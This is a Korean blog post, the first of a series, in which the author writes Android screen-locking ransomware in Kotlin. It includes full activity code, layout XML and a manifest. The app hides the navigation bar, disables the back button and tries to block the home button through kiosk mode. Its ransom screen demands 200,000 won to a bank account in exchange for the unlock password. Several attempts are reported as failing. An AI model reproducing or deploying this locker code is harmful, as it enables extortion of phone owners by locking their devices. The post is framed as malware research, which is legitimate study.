외로운 Nova의 작업실

Android LockMalware 연구 - 1 본문

Mobile App Penetesting/Android Malware

Android LockMalware 연구 - 1

Nova_ 2023. 5. 20. 15:20

- 연구 개요

플레이스토어에서 어플을 보다보면 공부잠금 어플이라고해서 일정 시간을 설정하면 그 시간동안 핸드폰으로 아무것도 할 수 없게 만드는 어플이 있습니다. 이러한 기능을 악용해서 패스워드를 입력해야만 앱이 꺼지고 핸드폰을 사용할 수 있게하는 앱을 만들어서 패스워드 값으로 돈을 요구하는 LockMalware에대해서 구현해보는 연구를 해보겠습니다.

 

- 메뉴바를 숨기고 뒤로가기 버튼 기능 마비

<요구 기능>

첫번째 시도에 넣어볼 것은 뒤로가기랑 홈버튼을 숨기고 뒤로가기 버튼을 눌렀을때 작동이 되지않는 앱을 만들고 홈 버튼 기능을 마비시키는 기능을 넣어보겠습니다. 비밀번호는 간단하게 1234로 했습니다.

 

<mainActivity>

import android.os.Build
import android.os.Bundle
import android.view.View
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        // 전체 화면 모드로 변경
        hideSystemUI()
    }

    private fun hideSystemUI() {
        // 안드로이드 버전이 KitKat (API 19) 이상인지 확인
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
            // 시스템 UI의 네비게이션 바 숨기기
            window.decorView.systemUiVisibility = (
                    View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
                            or View.SYSTEM_UI_FLAG_IMMERSIVE
                    )
        } else {
            // KitKat 이하의 버전에서는 전체 화면 모드를 지원하지 않습니다.
            // 원하는 동작을 수행하세요.
        }
    }

    // 액티비티가 포커스를 잃었다가 다시 받았을 때 전체 화면 모드로 유지되도록 설정
    override fun onWindowFocusChanged(hasFocus: Boolean) {
        super.onWindowFocusChanged(hasFocus)

        if (hasFocus) {
            hideSystemUI()
        }
    }
    
    //뒤로가기 버튼 눌러도 반응 없도록 설정
    override fun onPause() {
    super.onPause()
    moveTaskToBack(true)
	}
}

<activity_main.xml>

<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <TextView
        android:id="@+id/textview1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="아래 계좌로 20만원을 송금하면 패스워드를 알려주겠다."
        app:layout_constraintBottom_toTopOf="@+id/textView"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.494"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.763" />

    <TextView
        android:id="@+id/textView"
        android:layout_width="181dp"
        android:layout_height="18dp"
        android:layout_marginBottom="48dp"
        android:text="카카오뱅크  3333-3333-3333"
        app:layout_constraintBottom_toTopOf="@+id/editTextTextPassword"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent" />

    <Button
        android:id="@+id/button"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_marginBottom="260dp"
        android:text="패스워드 확인"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.498"
        app:layout_constraintStart_toStartOf="parent" />

    <EditText
        android:id="@+id/editTextTextPassword"
        android:layout_width="259dp"
        android:layout_height="78dp"
        android:layout_marginBottom="40dp"
        android:ems="10"
        android:hint="패스워드"
        android:inputType="textPassword"
        app:layout_constraintBottom_toTopOf="@+id/button"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent" />

</androidx.constraintlayout.widget.ConstraintLayout>

<화면>

 

<결과>

메뉴바 숨기기 : 성공

뒤로가기 기능 마비 : 성공

 

- 홈 버튼 기능 마비 기능 추가

 

<홈버튼 기능 마비 시도 - 1>

private var shouldKeepRunning = false

override fun onPause() {
    super.onPause()

    if (!shouldKeepRunning) {
        moveTaskToBack(true)
    }
}

위 코드로도 홈버튼을 마비시킬 수 없었습니다. 이유는 안드로이드 운영체제마다 홈버튼을 마비시킬 수 있기도하고 없기도 하기때문인 것으로 확인됩니다.

 

<홈버튼 기능 마비 시도 - 2>

액티비티 생명주기를 이용해서 홈버튼이 눌리면 resume()함수를 실행시키는 코드를 삽입해봤습니다.

override fun onResume() {
    super.onResume()

    // onResume() 메서드 호출
    onCustomResume()
}

private fun onCustomResume() {
    // 여기에 onResume() 메서드에서 수행하고자 하는 작업을 구현
    // 예: UI 업데이트, 데이터 갱신 등

    // 호출된 onResume() 메서드에서 필요한 동작을 수행
}

하지만 결과는 실패입니다. 다른 방법을 찾아야할 것 같습니다.

 

- kiosk 모드를 활용한 홈버튼 기능 마비

코드를 추가하는 걸로 아무리해도 안되어서 이번에는 kiosk 모드를 활용해서 홈 버튼 기능을 마비시켜보도록 하겠습니다. kiosk 모드를 활용하려면 앱 코드를 전부 수정해야했습니다. 아래는 MainActivity 파일입니다.

 

<MainActivity>

package com.example.lockmalware

import android.content.ComponentName
import android.content.pm.PackageManager
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import android.content.Intent
import com.example.lockmalware.KioskActivity

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        // Kiosk 모드를 시작
        startKioskMode()
    }

    private fun startKioskMode() {
        val componentName = ComponentName(this, KioskActivity::class.java)
        packageManager.setComponentEnabledSetting(
            componentName,
            PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
            PackageManager.DONT_KILL_APP
        )
        val intent = Intent(this, KioskActivity::class.java)
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK)
        startActivity(intent)
    }
}

 

<KioskActivity>

package com.example.lockmalware

import android.app.Activity
import android.content.ComponentName
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.os.Bundle
import android.view.KeyEvent
import android.view.View
import com.example.lockmalware.R
import com.example.lockmalware.databinding.ActivityMainBinding

class KioskActivity : Activity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        val binding = ActivityMainBinding.inflate(layoutInflater) //activity_main_xml 파일의 객체들을 가져옵니다.

        setContentView(binding.root)

        // 화면 초기화 작업 및 필요한 기능 수행

        binding.button.setOnClickListener(){
            var password = binding.button.text.toString()

            if(password == "1234"){
                finish()
            }
            else{

            }
        }
    }

    override fun onResume() {
        super.onResume()
        hideSystemUI()
    }

    override fun onKeyDown(keyCode: Int, event: KeyEvent?): Boolean {
        if (keyCode == KeyEvent.KEYCODE_HOME || keyCode == KeyEvent.KEYCODE_BACK) {
            return true // 홈 버튼 및 뒤로가기 버튼 이벤트를 처리하지 않음
        }
        return super.onKeyDown(keyCode, event)
    }

    private fun hideSystemUI() {
        window.decorView.systemUiVisibility = (View.SYSTEM_UI_FLAG_HIDE_NAVIGATION
                or View.SYSTEM_UI_FLAG_IMMERSIVE
                or View.SYSTEM_UI_FLAG_FULLSCREEN)
    }
}

<manifest>

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools">

    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/Theme.Lockmalware"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:exported="true"
            android:launchMode="singleTask">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity
            android:name=".KioskActivity"
            android:configChanges="orientation|keyboardHidden"
            android:screenOrientation="landscape" />
    </application>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />

</manifest>

<결과>

뒤로가기 버튼 기능 마비 : 실패

홈버튼 기능 마비 : 실패

 

실패 이유는 안드로이드 운영체제 버전마다(?) 키오스크 모드를 지원을 안할 수 있는 점이 있다고합니다. 아무래도 다른 방법을 찾아야할 것 같습니다.

 

 

'Mobile App Penetesting > Android Malware' 카테고리의 다른 글

Android LockMalware 연구 - 2  (0) 2023.05.21
Comments